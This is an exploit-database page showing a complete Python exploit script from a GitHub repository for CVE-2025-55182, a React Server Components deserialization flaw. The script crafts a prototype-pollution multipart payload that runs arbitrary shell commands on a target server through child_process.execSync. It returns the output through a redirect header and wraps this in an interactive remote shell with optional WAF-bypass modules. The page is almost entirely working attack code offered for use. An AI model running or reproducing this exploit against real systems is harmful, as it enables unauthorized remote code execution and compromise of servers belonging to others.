Exploit databaseDownload repository ZIP
GH-14f54ef2fa4ef0df0694831c29b20ae2
yanoshercohen/react2shell_cve-2025-55182
Sources for CVE-2025-55182
257 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
yanoshercohen/react2shell_cve-2025-55182Revision d0ff8fc2e486
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-55182.py
Suggested starting filePython · 14,008 bytesimport requests
import json
import re
import random
import string
import os
import importlib.util
from urllib.parse import urljoin, unquote
import sys
import argparse
try:
from colorama import Fore, Style, init
init()
COLORAMA_AVAILABLE = True
except ImportError:
COLORAMA_AVAILABLE = False
class DummyColor: RED = ''; GREEN = ''; YELLOW = ''; BLUE = ''; MAGENTA = ''; CYAN = ''; WHITE = ''; RESET = ''
Fore, Style = DummyColor(), DummyColor()
def validate_target_host(host_str):
import ipaddress
import socket
try:
ipaddress.ip_address(host_str)
return True
except ValueError:
try:
socket.gethostbyname(host_str)
return True
except socket.gaierror:
return False
def format_output(text):
if COLORAMA_AVAILABLE:
text = f"{Fore.GREEN}{text}{Style.RESET_ALL}"
return text
def format_input_prompt():
return f"{Fore.BLUE}$ {Style.RESET_ALL}" if COLORAMA_AVAILABLE else "$ "
def load_waf_modules():
modules_dir = "waf_modules"
waf_modules = {}
if os.path.isdir(modules_dir):
for filename in os.listdir(modules_dir):
if filename.endswith(".py") and filename != "__init__.py":
module_name = filename[:-3]
spec = importlib.util.spec_from_file_location(module_name, os.path.join(modules_dir, filename))
if spec and spec.loader:
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
if hasattr(module, 'modify_request'):
waf_modules[module_name] = module.modify_request
else:
print(f"[DEBUG] Could not load module: {filename}")
else:
print(f"[DEBUG] WAF modules directory '{modules_dir}' not found.")
return waf_modules
def list_waf_modules():
modules_dir = "waf_modules"
available_modules = []
if os.path.isdir(modules_dir):
for filename in os.listdir(modules_dir):
if filename.endswith(".py") and filename != "__init__.py":
module_name = filename[:-3]
available_modules.append(module_name)
return available_modules
def _build_default_payload(js_code):
prefix_part = "var res="
suffix_part = ";if(typeof res!=='string'){try{res=JSON.stringify(res,null,2)}catch(e){res='[JSON Error]'}};throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a=' + encodeURIComponent(res) + ';307;'});"
injection = prefix_part + js_code + suffix_part
payload_map = {
"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}",
"_response": { "_prefix": injection, "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } }
}
return json.dumps(payload_map, separators=(',', ':'))
def _build_default_request_body(payload_json):
boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
body = '\r\n'.join([
f'--{boundary}', 'Content-Disposition: form-data; name="0"', '', payload_json,
f'--{boundary}', 'Content-Disposition: form-data; name="1"', '', '"$@0"',
f'--{boundary}', 'Content-Disposition: form-data; name="2"', '', '[]',
f'--{boundary}--', ''
]).encode('utf-8')
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Next-Action": "x", "X-Nextjs-Request-Id": f"rce-2491"
}
return body, headers
class RscDeserExploit:
def __init__(self, base_url, endpoint="/", timeout=15, waf_module_func=None, session_kwargs=None):
self.base_url = base_url.rstrip('/')
self.endpoint = endpoint.lstrip('/')
self.full_url = urljoin(self.base_url, self.endpoint)
self.timeout = timeout
self.session_kwargs = session_kwargs or {}
self.session = requests.Session()
for key, value in self.session_kwargs.items():
setattr(self.session, key, value)
self.session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"})
self.waf_module_func = waf_module_func
self.verbosity = 0
def _build_payload(self, js_code):
return _build_default_payload(js_code)
def _send_request(self, payload_json):
body, headers = _build_default_request_body(payload_json)
if self.waf_module_func:
body, headers = self.waf_module_func(body, headers)
if self.verbosity >= 2:
print(f"{Fore.CYAN}>>> Sending Request >>>{Style.RESET_ALL}")
print(f"{Fore.CYAN}URL: {self.full_url}{Style.RESET_ALL}")
print(f"{Fore.CYAN}Headers:{Style.RESET_ALL}")
for k, v in headers.items():
print(f" {k}: {v}")
if self.verbosity >= 3:
print(f"{Fore.CYAN}Body:{Style.RESET_ALL}")
print(body.decode('utf-8'))
print(f"{Fore.CYAN}<<< End Request <<<{Style.RESET_ALL}")
response = self.session.post(self.full_url, data=body, headers=headers, timeout=self.timeout)
if self.verbosity >= 1:
print(f"{Fore.MAGENTA}<<< Received Response <<<{Style.RESET_ALL}")
print(f"{Fore.MAGENTA}Status Code: {response.status_code}{Style.RESET_ALL}")
if self.verbosity >= 2:
print(f"{Fore.MAGENTA}Headers:{Style.RESET_ALL}")
for k, v in response.headers.items():
print(f" {k}: {v}")
if self.verbosity >= 3:
print(f"{Fore.MAGENTA}Body:{Style.RESET_ALL}")
print(response.text)
print(f"{Fore.MAGENTA}<<< End Response <<<{Style.RESET_ALL}")
return response
def execute_command(self, command):
escaped_cmd_literal = repr(command)[1:-1]
js_payload = f"""
(function() {{
try {{
const output = process.mainModule.require('child_process').execSync({repr(escaped_cmd_literal)}, {{encoding: 'utf8'}}).toString();
return output === '' ? '(empty)' : output;
}} catch (e) {{
return e.message || 'Command failed';
}}
}})()
"""
try:
response = self._send_request(self._build_payload(js_payload))
except requests.exceptions.RequestException as e:
return f"[ERROR] Request failed: {e}"
raw_location = response.headers.get('X-Action-Redirect') or response.text
match = re.search(r'[?&]a=([^;&]+)', raw_location)
if match:
result = unquote(match.group(1))
if result == '(empty)': return result
return result
elif response.status_code == 500:
error_match = re.search(r'"message":"([^"]*)"', response.text)
if error_match:
return f"[ERROR] {error_match.group(1)}"
return "[ERROR] Server 500 Error"
return "[ERROR] No result captured."
def parse_modify_request_args(modify_request_list):
session_kwargs = {}
if not modify_request_list:
return session_kwargs
for key, value_str in modify_request_list:
if key.lower() == 'verify':
if value_str.lower() in ('true', '1', 'yes', 'on'):
session_kwargs[key] = True
elif value_str.lower() in ('false', '0', 'no', 'off'):
session_kwargs[key] = False
else:
print(f"[WARNING] Invalid value for 'verify': {value_str}. Expected boolean-like string. Using string value.")
session_kwargs[key] = value_str
else:
if value_str.lower() == 'true':
session_kwargs[key] = True
elif value_str.lower() == 'false':
session_kwargs[key] = False
else:
try: session_kwargs[key] = int(value_str)
except ValueError:
try: session_kwargs[key] = float(value_str)
except ValueError: session_kwargs[key] = value_str
return session_kwargs
def print_modify_request_help():
print(f"\n{Fore.CYAN}--- --modify-request Tree ---{Style.RESET_ALL}")
print("--modify-request <KEY> <VALUE>")
print(" │")
print(f" ├── verify <{Fore.YELLOW}bool{Style.RESET_ALL}>")
print(" │ ├── true / 1 / yes / on")
print(" │ └── false / 0 / no / off")
print(f" ├── timeout <{Fore.YELLOW}int{Style.RESET_ALL}>")
print(f" ├── max_redirects <{Fore.YELLOW}int{Style.RESET_ALL}>")
print(" └── [Other Session attributes] <any>")
print(f" ├── User-Agent <{Fore.YELLOW}str{Style.RESET_ALL}> (Note: Also set via headers)")
print(f" ├── proxies <{Fore.YELLOW}dict{Style.RESET_ALL}> (e.g., {'{'}'http': '...'{'}'})")
print(" └── ... (Any attribute of requests.Session)")
print(f"{Fore.CYAN}-----------------------------{Style.RESET_ALL}\n")
def main():
if '--help-modify-request' in sys.argv:
print_modify_request_help()
sys.exit(0)
parser = argparse.ArgumentParser(
description="RSC Deserialization Exploit (CVE-2025-55182)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --host example.com --port 3000
%(prog)s --host example.com --port 443 --endpoint /api/action --modify-request verify False
%(prog)s --host example.com -v --modify-request timeout 30
%(prog)s --host example.com --modify-request verify True --modify-request timeout 20
"""
)
parser.add_argument("--host", required=True, help="Target host (IP or domain)")
parser.add_argument("--port", type=int, default=3000, help="Target port (default 3000)")
parser.add_argument("--endpoint", default="/", help="API endpoint (default /)")
parser.add_argument("--modify-request", action='append', nargs=2, metavar=('KEY', 'VALUE'), help="Modify request.Session attribute (e.g., --modify-request verify False). Use --help-modify-request for details.")
parser.add_argument("--help-modify-request", "-hmr", action='store_true', help=argparse.SUPPRESS)
parser.add_argument("-v", "--verbose", action="count", default=0, help="Verbose output (-v: body, -vv: headers, -vvv: everything)")
available_modules = list_waf_modules()
waf_module_func = None
selected_module_name = None
for mod_name in available_modules:
arg_name = f"--{mod_name.replace('_', '-')}"
parser.add_argument(arg_name, action='store_true', help=f"Enable {mod_name} WAF bypass module")
args = parser.parse_args()
session_kwargs = parse_modify_request_args(args.modify_request)
for mod_name in available_modules:
attr_name = mod_name.replace('-', '_')
if getattr(args, attr_name, False):
if selected_module_name is not None:
print(f"[ERROR] Multiple WAF modules selected: {selected_module_name}, {mod_name}. Only one can be active.")
sys.exit(1)
selected_module_name = mod_name
all_modules = load_waf_modules()
waf_module_func = all_modules.get(mod_name)
if waf_module_func:
print(f"[INFO] Using WAF bypass module: {mod_name}")
if selected_module_name and waf_module_func is None:
print(f"[ERROR] Failed to load selected WAF module: {selected_module_name}")
sys.exit(1)
if not COLORAMA_AVAILABLE:
print("Install 'colorama' for colored output.")
host = args.host
if not validate_target_host(host):
print(f"{Fore.RED}Invalid host: {host}.{Style.RESET_ALL}" if COLORAMA_AVAILABLE else f"Invalid host: {host}.")
sys.exit(1)
port = args.port
if not (1 <= port <= 65535):
print(f"{Fore.RED}Invalid port: {port}.{Style.RESET_ALL}" if COLORAMA_AVAILABLE else f"Invalid port: {port}.")
sys.exit(1)
endpoint = args.endpoint
verify_ssl = session_kwargs.get('verify', True)
if not verify_ssl:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
scheme = "https" if port == 443 else "http"
target_url = f"{scheme}://{host}:{port}"
exploit = RscDeserExploit(target_url, endpoint, waf_module_func=waf_module_func, session_kwargs=session_kwargs)
exploit.verbosity = args.verbose
print(f"{Fore.CYAN}--- RSC Deserialization Exploit (CVE-2025-55182) ---{Style.RESET_ALL}" if COLORAMA_AVAILABLE else "--- RSC Deserialization Exploit (CVE-2025-55182) ---")
print(f"{Fore.GREEN}[+] Exploiting RSC endpoint on {target_url}{endpoint}{Style.RESET_ALL}" if COLORAMA_AVAILABLE else f"[+] Exploiting RSC endpoint on {target_url}{endpoint}")
print(f"{Fore.GREEN}[+] Session Args: {session_kwargs}{Style.RESET_ALL}" if COLORAMA_AVAILABLE else f"[+] Session Args: {session_kwargs}")
print(f"{Fore.GREEN}[+] Verbosity Level: {args.verbose}{Style.RESET_ALL}" if COLORAMA_AVAILABLE else f"[+] Verbosity Level: {args.verbose}")
print(f"{Fore.GREEN}[+] Type 'exit' or 'quit' to stop.{Style.RESET_ALL}\n" if COLORAMA_AVAILABLE else "[+] Type 'exit' or 'quit' to stop.\n")
while True:
try:
cmd = input(format_input_prompt()).strip()
if cmd.lower() in ['exit', 'quit']:
print(f"{Fore.MAGENTA}Exiting...{Style.RESET_ALL}" if COLORAMA_AVAILABLE else "Exiting...")
break
if not cmd: continue
output = exploit.execute_command(cmd)
print(format_output(output))
except (KeyboardInterrupt, EOFError):
print(f"\n{Fore.MAGENTA}Exiting...{Style.RESET_ALL}" if COLORAMA_AVAILABLE else "\nExiting...")
break
if __name__ == "__main__":
main()